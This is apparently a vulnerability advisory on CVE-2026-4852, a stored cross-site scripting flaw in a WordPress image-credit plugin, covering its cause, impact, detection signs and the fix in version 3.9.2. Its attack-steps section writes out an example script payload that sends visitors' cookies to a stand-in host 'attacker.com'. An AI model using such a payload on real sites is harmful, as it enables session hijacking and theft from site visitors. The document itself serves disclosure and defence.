CVE-2026-4852: 
WordPress vulnerability analysis and mitigation

CVE-2026-4852 is a Stored Cross-Site Scripting (XSS) vulnerability in the Image Source Control Lite – Show Image Credits and Captions plugin for WordPress. It affects all versions up to and including 3.9.1, where insufficient input sanitization and output escaping in the 'Image Source' attachment field allows authenticated attackers with Author-level access or above to inject persistent malicious scripts. The vulnerability was disclosed on April 20, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium), assigned by Wordfence (Github Advisory, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), stemming from the plugin's failure to sanitize user-supplied input in the 'Image Source' attachment metadata field and to properly escape that data on output (Wordfence). The vulnerable code path is visible in the plugin's global-list.php view, which renders attachment field values without escaping (WordPress Trac). Exploitation requires only low privileges (Author role or above) and no user interaction beyond a victim visiting an affected page, as the payload is stored server-side and executes in any visitor's browser context.

Successful exploitation allows an authenticated attacker to persistently inject arbitrary JavaScript into WordPress pages, which executes in the browsers of all users who visit those pages. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of victims (including administrators), and potential site defacement or further compromise. Because the injected scripts persist across all site visitors, the blast radius extends beyond the initial attacker interaction to every user accessing affected content (Github Advisory, Wordfence).

As of the time of disclosure, there is no public proof-of-concept exploit and no evidence of active in-the-wild exploitation (Wordfence). The EPSS score is approximately 0.029–0.037%, placing it in the 11th percentile for exploitation likelihood within 30 days (Github Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no threat actor attribution has been reported.

1. Gain Author-level access: Obtain or create a WordPress account with at least Author-level privileges on the target site running Image Source Control Lite ≤ 3.9.1.
2. Upload or edit an attachment: Navigate to the WordPress Media Library and upload an image, or edit an existing attachment.
3. Inject malicious payload: In the 'Image Source' metadata field for the attachment, enter a crafted XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an event-handler-based variant.
4. Publish or embed the attachment: Insert the image into a post or page and publish it, causing the unsanitized 'Image Source' value to be stored in the database.
5. Trigger execution: When any site visitor (including administrators) loads the page containing the injected image, the malicious script executes in their browser, enabling session cookie theft, credential harvesting, or further actions (Wordfence, WordPress Trac).

• Database/Content: Unexpected JavaScript tags or encoded script payloads (e.g., <script>, onerror=, javascript:) present in the 'Image Source' field of WordPress attachment metadata (wp_postmeta table, _isc_image_source key).
• Logs: WordPress access logs showing POST requests to /wp-admin/upload.php or /wp-admin/post.php from Author-level accounts with unusually long or encoded field values in the image source parameter.
• Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages containing plugin-rendered image credits (indicative of data exfiltration via injected scripts).
• File System: No file-system artifacts expected for this stored XSS; malicious content resides in the database rather than on disk.

Update the Image Source Control Lite plugin to version 3.9.2 or later, which contains the fix for insufficient sanitization and escaping (Github Advisory). As an interim measure, restrict Author-level and above WordPress roles to only fully trusted users, reducing the attack surface. Additionally, audit existing attachment metadata in the WordPress database for suspicious content in the 'Image Source' field that may indicate prior exploitation (Wordfence).

Wordfence, which discovered and reported the vulnerability, included it in their weekly WordPress vulnerability report for the period of April 20–26, 2026, noting it as a medium-severity stored XSS issue (Wordfence Blog). The vulnerability was also noted on Bluesky via automated CVE tracking accounts shortly after disclosure. No significant broader media coverage or notable researcher commentary beyond the Wordfence advisory has been observed.